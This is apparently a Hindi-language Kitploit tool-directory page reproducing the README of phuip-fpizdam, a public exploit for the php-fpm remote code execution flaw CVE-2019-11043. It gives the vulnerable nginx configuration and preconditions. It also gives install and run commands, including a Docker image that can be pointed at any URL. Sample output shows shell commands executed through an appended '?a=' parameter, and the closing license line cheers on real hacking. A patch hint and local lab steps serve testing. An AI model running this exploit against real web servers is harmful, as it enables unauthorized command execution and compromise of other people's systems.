Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/codehex083/phuip-fpizdam
पेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंग
GitHubcodehex083/phuip-fpizdam

phuip-fpizdam

CVE-2019-11043 के लिए शोषण

रिपॉजिटरी देखें
3210 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PHuiP-FPizdaM

यह क्या है

यह php-fpm (CVE-2019-11043) में एक बग के लिए एक शोषण है। कुछ nginx + php-fpm कॉन्फ़िगरेशन में, बग को बाहर से ट्रिगर करना संभव है। इसका मतलब है कि यदि आपके पास असुरक्षित कॉन्फ़िगरेशन है तो एक वेब उपयोगकर्ता कोड निष्पादन प्राप्त कर सकता है (नीचे देखें #the-full-list-of-preconditions)।

लेखन

जबकि हम लेखन करने में बहुत आलसी थे, ऑरेंज त्साई ने अपने ब्लॉग में एक संपूर्ण विश्लेषण प्रकाशित किया। उन्हें साधुवाद।

इसके अलावा, ZeroNights 2019 से मेरी स्लाइड्स उपलब्ध हैं।

क्या असुरक्षित है

यदि एक वेबसर्वर nginx + php-fpm चलाता है और nginx में निम्नलिखित कॉन्फ़िगरेशन है

root@kitploit:~
location ~ [^/]\.php(/|$) {
  ...
  fastcgi_split_path_info ^(.+?\.php)(/.*)$;
  fastcgi_param PATH_INFO       $fastcgi_path_info;
  fastcgi_pass   php:9000;
  ...
}

जिसमें किसी भी स्क्रिप्ट अस्तित्व जांच (जैसे try_files) का अभाव है, तो आप शायद इस शोषण से इसे हैक कर सकते हैं।

पूर्व शर्तों की पूरी सूची

  1. Nginx + php-fpm, location ~ [^/]\.php(/|$) को php-fpm पर अग्रेषित किया जाना चाहिए (शायद regexp सख्त हो सकता है, देखें #1)।
  2. fastcgi_param PATH_INFO $fastcgi_path_info; कथन के माध्यम से PATH_INFO चर असाइनमेंट होना चाहिए। साथ ही SCRIPT_FILENAME को fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; का उपयोग करके सेट किया जाना चाहिए ($document_root के बजाय एक स्थिर पथ हो सकता है)। पहले, हमने सोचा कि ये हमेशा fastcgi_params फ़ाइल में मौजूद होते हैं, लेकिन यह सच नहीं है।
  3. PATH_INFO को खाली मान पर सेट करने का एक तरीका होना चाहिए। यह शोषण मानता है कि fastcgi_split_path_info निर्देश मौजूद है और इसमें ^ से शुरू और $ से समाप्त होने वाला regexp है, इसलिए यह एक न्यूलाइन वर्ण के साथ regexp को तोड़ने का प्रयास करता है।
  4. यह विशेष शोषण मानता है कि कॉन्फ़िगरेशन में PATH_INFO को REQUEST_URI के बाद सेट किया गया है।
  5. try_files $uri =404 या if (-f $uri) जैसी कोई फ़ाइल अस्तित्व जांच नहीं। यदि Nginx FastCGI अग्रेषण से पहले गैर-मौजूद स्क्रिप्ट के अनुरोधों को छोड़ देता है, तो हमारे अनुरोध कभी php-fpm तक नहीं पहुंचते। इसे जोड़ना पैच करने का सबसे आसान तरीका भी है।
  6. यह शोषण केवल PHP 7+ के लिए काम करता है, लेकिन बग स्वयं पहले के संस्करणों में मौजूद है (नीचे देखें #about-php5)।

क्या यह वर्षों से असुरक्षित जाना नहीं जाता?

बहुत समय पहले php-fpm स्क्रिप्ट के एक्सटेंशन को प्रतिबंधित नहीं करता था, जिसका अर्थ है कि /avatar.png/some-fake-shit.php जैसा कुछ avatar.png को PHP स्क्रिप्ट के रूप में निष्पादित कर सकता था। यह मुद्दा लगभग 2010 में ठीक किया गया था।

वर्तमान में फ़ाइल अपलोड की आवश्यकता नहीं है, नवीनतम संस्करणों में काम करता है (जब तक फिक्स नहीं आ गया), और, सबसे महत्वपूर्ण बात, शोषण बहुत अच्छा है।

कैसे चलाएं

इसे स्थापित करें

root@kitploit:~
go get github.com/neex/phuip-fpizdam

यदि आपको अजीब संकलन त्रुटियाँ मिलती हैं, तो सुनिश्चित करें कि आप go >= 1.13 का उपयोग कर रहे हैं। प्रोग्राम को phuip-fpizdam [url] का उपयोग करके चलाएं (यह मानते हुए कि आपके पास $GOPATH/bin आपके $PATH के अंदर है, अन्यथा बाइनरी का पूरा पथ निर्दिष्ट करें)। अच्छा आउटपुट इस तरह दिखता है:

root@kitploit:~
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!

इसके बाद, आप सभी PHP स्क्रिप्ट में ?a=<आपका कमांड> जोड़ना शुरू कर सकते हैं (आपको कई पुनर्प्रयासों की आवश्यकता हो सकती है)।

वैकल्पिक रूप से, आप शोषण चलाने के लिए डॉकर इमेज का उपयोग कर सकते हैं:

root@kitploit:~
docker run --rm ypereirareis/cve-2019-11043 [url]

खेल का मैदान वातावरण

डॉकर का उपयोग करना

यदि आप इस मुद्दे को पुन: उत्पन्न करना चाहते हैं या डॉकर के माध्यम से स्थानीय रूप से शोषण के साथ खेलना चाहते हैं, तो निम्नलिखित करें:

  1. इस रिपॉजिटरी को क्लोन करें और reproducer निर्देशिका में जाएं।
  2. docker build -t reproduce-cve-2019-11043 . का उपयोग करके डॉकर इमेज बनाएं। इसमें लंबा समय लगता है क्योंकि यह आंतरिक रूप से php रिपॉजिटरी को क्लोन करता है और इसे स्रोत से बनाता है। हालांकि, यदि आप शोषण को डीबग करना चाहते हैं तो यह आसान होगा। बनाया गया संशोधन फिक्स से ठीक पहले का है।
  3. docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 का उपयोग करके डॉकर चलाएं।
  4. अब आपके पास http://127.0.0.1:8080/script.php है, जो एक खाली फ़ाइल है।
  5. phuip-fpizdam http://127.0.0.1:8080/script.php का उपयोग करके शोषण चलाएं।
  6. यदि सब कुछ ठीक है, तो आप स्क्रिप्ट में ?a= जोड़कर कमांड निष्पादित करने में सक्षम होंगे: http://127.0.0.1:8080/script.php?a=id. कई बार प्रयास करें क्योंकि केवल कुछ php-fpm वर्कर संक्रमित होते हैं।

LXD सिस्टम कंटेनर का उपयोग करना

यदि आप इस मुद्दे को पुन: उत्पन्न करना चाहते हैं या LXD के माध्यम से स्थानीय रूप से शोषण के साथ खेलना चाहते हैं, तो निम्नलिखित करें:

  1. दो सिस्टम कंटेनर बनाएं, vulnerable और attacker। आप दोनों कंटेनरों के लिए ubuntu:18.04 कंटेनर इमेज का उपयोग कर सकते हैं।
  2. vulnerable कंटेनर में, nginx और php-fpm स्थापित करें। सर्वर ब्लॉक को this configuration के रूप में कॉन्फ़िगर करें। एक खाली फ़ाइल /var/www/html/index.php बनाएं।
  3. attacker कंटेनर में, Go भाषा स्थापित करें (sudo snap install go --classic), इस रिपॉजिटरी को क्लोन करें, और रिपॉजिटरी की निर्देशिका में go build चलाएं।
  4. हमले को निम्नानुसार चलाएं: ./phuip-fpizdam http://vulnerable.lxd/index.php। सभी php-fpm वर्करों को संक्रमित करने के लिए कई प्रकारों का प्रयास करें।

अधिक विस्तृत निर्देशों के लिए, देखें Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers।

PHP5 के बारे में

php-fpm में बफर अंडरफ्लो PHP संस्करण 5 में मौजूद है। हालांकि, यह शोषण FastCGI चरों को संग्रहीत करने के लिए उपयोग किए जाने वाले अनुकूलन का लाभ उठाता है, _fcgi_data_seg। यह अनुकूलन केवल php 7 में मौजूद है, इसलिए यह विशेष शोषण केवल php 7 के लिए काम करता है। हो सकता है कि कोई अन्य शोषण तकनीक हो जो php 5 में काम करती हो।

श्रेय

मूल विसंगति की खोज d90pwn ने Real World CTF के दौरान की थी। मूल क्लॉज मेरे (Emil Lerner) द्वारा पाया गया था, साथ ही php.ini विकल्प सेट करने का तरीका भी। अंतिम php.ini विकल्प सेट beched द्वारा पाया गया है।

लाइसेंस

यह शोषण MIT लाइसेंस की शर्तों के तहत वितरित किया जाता है। इस शोषण से किसी भी नुकसान से बचें। लेकिन अगर आप वास्तव में इस चीज़ से कुछ हैक करते हैं, तो मुझे खुशी होगी।

टूल डाउनलोड करें